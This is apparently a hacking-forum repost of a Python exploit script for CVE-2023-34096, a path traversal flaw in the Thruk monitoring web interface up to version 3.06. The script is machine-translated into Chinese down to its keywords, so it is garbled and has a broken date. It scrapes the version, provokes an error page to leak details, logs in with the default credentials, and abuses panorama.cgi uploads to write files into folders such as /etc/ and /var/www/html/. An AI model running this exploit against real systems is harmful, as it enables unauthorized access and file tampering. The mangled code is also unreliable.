H

Thruk监视Web界面3.06-路径遍历

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Thruk监视Web界面3.06-路径遍历
#date: 08-Jun-20123
#利用作者: Galoget Latorre(@galoget)
#CVE: CVE-2023-34096(Galoget Latorre)
#供应商homepage: https://thruk.org/
#软件link: https://github.com/sni/thruk/archive/refs/tags/v3.06.zip
#软件链接+ exploit + poc(备份): https://github.com/galoget/thruk-cve-2023-34096
#cve作者博客: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-traversal-thruk.html
#github安全咨询: https://github.com/sni/thruk/security/advisories/ghsa-vhqc-649h-994h
#受影响的版本:=3.06
#语言: Python 3.x
#在:上测试
# -Ubuntu 22.04.5 LTS 64位
#- Debian GNU/Linux 10(Buster)64位
#-Kali GNU/Linux 2023.1 64位
#-Centos GNU/Linux 8.5.2111 64位
#!/usr/bin/python3
# - * - 编码:UTF-8 - * -
导入系统
进口警告
导入请求
来自BS4进口美丽的小组
从TermColor Import Cprint
#USAGE: PYTHON3 EXPLOIT.PY TARGET.SITE。
#example: python3 exploit.py http://127.0.0.0.1/thruk/
#禁用警告
警告。FilterWarnings(“忽略”)
#设置标题
标题={
'用户代理:'Mozilla/5.0(Windows NT 10.0)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/104.0.0.0.0.0.0 Safari/537.36'
}
def Banner():
'''
打印横幅的功能
'''
banner_text='''
__ __ __ __ __ __ __ __ __ __ __ __ __
/\\/| _ __ )/\\ )| _ |/\\(__ \\/__
\\ __ \\/| / \\ //// )| \\ //\\ __)
路径遍历thruk监视Web界面≤3.06的漏洞
利用CVE作者: Galoget Latorre(@galoget)
LinkedIn: https://www.linkedin.com/in/galoget
'''
打印(banner_text)
DEF USAGE_INSTRUCTIONS():
'''
验证参数数量的功能。
该应用程序必须有2个参数:
  • [0] :脚本的名称
  • [1] :目标URL(Thruk Base URL)
'''
如果Len(sys.argv)!=2:
print('USAGE: Python3 Exploit.py Target.Pote.Lote.Pote')
print('example: python3 exploit.py http://127.0.0.1/thruk/')
sys.exit(0)
def check_vulnerability(thruk_version):
'''
功能以检查恢复版本是否容易受到CVE-2023-34096的影响。
打印有关漏洞的其他信息。
'''
TRY:
如果float(thruk_version [1:5])=3.06:
如果float(thruk_version [4:] .replace(' - ','。'))6.2:
cprint('[+]','green',attrs=['bold'],end='')
print('此版本的thruk is',end='')
CPRINT('弱者','红色',attrs=['Bold'],end='')
打印('至CVE-2023-34096!')
print('| cve作者博客: https://galogetlatorre.blogspot.com/2023/06/cve-2023-34096-path-traversal-thruk.html')
打印('| github安全咨询: https://github.com/sni/thruk/security/advisories/ghsa-vhqc-649h-994h')
print('| cve mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2023-34096')
打印('| CVE NVD NIST: https://nvd.nist.gov/VULN/DETAIL/CVE-2023-34096')
打印('| Thruk ChangElog: https://www.thruk.org/changelog.html')
打印('|固定版本: 3.06-2+')
打印('')
返回true
其他:
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“看起来这个版本的Thruk不容易受到CVE-2023-34096的影响。”)
返回false
Except:
cprint('[ - ]','red',attrs=['bold'],end='')
打印('有一个错误解析Thruk的版本。\ n')
返回false
def get_thruk_version():
'''
通过Web刮擦获取Thruk版本的功能。
它还验证网站的标题以检查目标是否为THRUK实例。
'''
响应=requests.get(target,headers=标题,allow_redirects=true,verify=false,timeout=10)
html_soup=beautifutsoup(wendesp.text,'html.parser')
如果“ titlethruk监视Webinterface/title”,则不响应。Text:
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“验证URL是否正确并指向Thruk监视Web接口。”)
sys.exit(-1)
其他:
#提取版本锚标签
version_link=html_soup.find_all('a',{'class':'链接text-sm'})
如果len(version_link)==1和version_link [0] .has_attr('href'):
thruk_version=version_link [0] .text.strip()
cprint('[+]','green',attrs=['bold'],end='')
打印(f'DeTected thruk版本(公共横幅): {thruk_version} \ n')
返回thruk_version
其他:
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“检索Thruk的版本有错误。”)
sys.exit(-1)
def get_error_info():
'''
功能会导致目标THRUK实例中的错误,并通过Web刮擦收集其他信息。
'''
#将导致错误的URL
error_url=target +'//cgi-bin/login.cgi'
#检索任何初始饼干
error_response=requests.get(error_url,
标题=标题,
ally_redirects=false,
验证=false,
超时=10)
cprint('[*]','蓝色',attrs=['bold'],end='')
打印('试图检索其他信息. \ n')
TRY:
#搜索错误标签
html_soup=beautifutsoup(error_response.text,'html.parser')
error_report=html_soup.find_all('pre',{'class':'text-left mt-5'})[0] .text
如果Len(error_report)0:
#打印错误信息
error_report=error_report [error_report.find('version'):error_report.find('\ n \ n \ nstack')]
cprint('[+]','green',attrs=['bold'],end='')
打印('恢复信息: \ n')
parsed_error_report=error_report.split('\ n')
对于parsed_error_report:中的error_line
打印(f'{error_line}')
Except:
cprint('[ - ]','red',attrs=['bold'],end='')
打印('无其他信息。\ n')
def get_thruk_session_auto_login():
'''
功能登录到Thruk实例并检索有效的会话。
它将使用默认Thruk的凭据:
-https://www.thruk.org/documentation/install.html
如果需要,请更改凭据。
'''
#默认凭据- 如果需要,请更改
用户名='Thrukadmin'#改变我
密码='Thrukadmin'#改变我
params={'login':用户名,'password':密码}
cprint('[*]','蓝色',attrs=['bold'],end='')
打印(使用提供的凭证: {username}/{password} \ n')
#定义登录网址
login_url='cgi-bin/login.cgi'
session=requests.session()
#检索任何初始饼干
session.get(target,headers=标题,allow_redirects=true,verify=false)
#登录并获取thruk_auth cookie
session.post(target + login_url,data=params,headers=标题,allow_redirects=false,verify=false)
#将cookie作为字典
cookies=session.cookies.get_dict()
#成功登录
如果cookies.get('thruk_auth')不是非:
cprint('[+]','green',attrs=['bold'],end='')
打印('成功身份验证!\ n')
cprint('[+]','green',attrs=['bold'],end='')
打印(f'login cookie: thruk_auth={cookies.get('thruk_auth')} \ n')
返回会话
#失败登录
其他:
如果cookies.get('thruk_message')=='fail_message ~~登录%20 failed':
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“登录失败,检查您的凭据。”)
sys.exit(401)
def cve_2023_34096_exploit_path_traversal(logged_session):
'''
试图利用路径遍历脆弱性的功能。
漏洞利用将尝试将POC文件上传到多个公共文件夹。
这是为了防止许可错误导致假否定性。
'''
cprint('[*]','蓝色',attrs=['bold'],end='')
打印('尝试利用:',end='')
CPRINT('CVE-2023-34096-路径遍历\ n','Yellow',attrs=['Bold'])
#定义上传URL
upload_url='cgi-bin/panorama.cgi'
#Absolute路径
common_folders=['/tmp/',
'/etc/thruk/插件/插件启用/',
'/etc/thruk/panorama/',
'/etc/thruk/bp/',
'/etc/thruk/thruk_local.d/',
'/var/www/',
'/var/www/html/',
'/ETC/',
这是给出的
#将POC文件上传到每个文件夹
对于common_folders中的target_folder:
#由于Thruk的正则验证,POC文件扩展名是JPG。
#尽管如此,此问题仍然会以不同的方式造成受影响实例的损害。
files={'image':('exploit.jpg','cve-2023-34096-exploit-poc-by-galoget'})}
data={'task':'上传',
'type':'图像',
'location': f'backgrounds /././. {target_folder}'
}
upload_response=logged_session.post(target + upload_url,
数据=数据,
文件=文件,
标题=标题,
ally_redirects=false,
验证=false)
TRY:
upload_response=upload_response.json()
如果upload_response.get('msg')=='upload成功'和upload_response.get('success')为true:
cprint('[+]','green',attrs=['bold'],end='')
打印(F'File成功上传到Folder: {target_folder} {files.get('image')[0]} \ n')
elif upload_response.get('msg')=='fileupload必须使用现有和可写的文件夹。
cprint('[ - ]','red',attrs=['bold'],end='')
打印(f'file上传到文件夹\'{target_folder} {files.get('image')[0]} \'由于写入权限或不存在的文件夹而失败了!\ n')
其他:
cprint('[ - ]','red',attrs=['bold'],end='')
打印('文件上传失败。\ n')
Except:
cprint('[ - ]','red',attrs=['bold'],end='')
打印('文件上传失败。\ n')
如果name=='__ -Main __':
横幅()
usage_instructions()
#用域或IP地址更改此此攻击
如果sys.argv [1]和sys.argv [1] .startswith('http'):
target=sys.argv [1]
其他:
target='http://127.0.0.1/thruk/'
#准备基本目标URL
如果不是target.endswith('/'):
目标+='/'
cprint('[+]','green',attrs=['bold'],end='')
打印(f'tArget url: {target} \ n')
#通过网络刮擦获取Thruk版本
scraped_thruk_version=get_thruk_version()
#发送将产生错误并收集额外信息的请求
get_error_info()
#检查实例是否容易受到CVE-2023-34096
vulnerable_status=check_vulnerability(scraped_thruk_version)
如果vulnerable_status:
cprint('[+]','green',attrs=['bold'],end='')
打印(“此主机中发现的Thruk版本很容易受到CVE-2023-34096的影响。您想尝试利用它吗?')
#确认剥削
选项=输入('\ nChoice(y/n):').lower()
打印('')
如果选项=='y':
cprint('[*]','蓝色',attrs=['bold'],end='')
打印('该工具将尝试通过将POC文件上传到公共文件夹来利用漏洞. \ n')
#登录到Thruk实例
有效_session=get_thruk_session_auto_login()
#利用路径遍历脆弱性
CVE_2023_34096_EXPLOIT_PATH_TRAVERSAL(有效_Session)
elif选项=='n':
cprint('[*]','蓝色',attrs=['bold'],end='')
打印('没有进行剥削尝试,再见!\ n')
sys.exit(0)
其他:
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“输入未知选项”。)
sys.exit(1)
其他:
cprint('[ - ]','red',attrs=['bold'],end='')
打印(“当前Thruk的版本不容易受到CVE-2023-34096。”)
sys.exit(2)
 
后退
顶部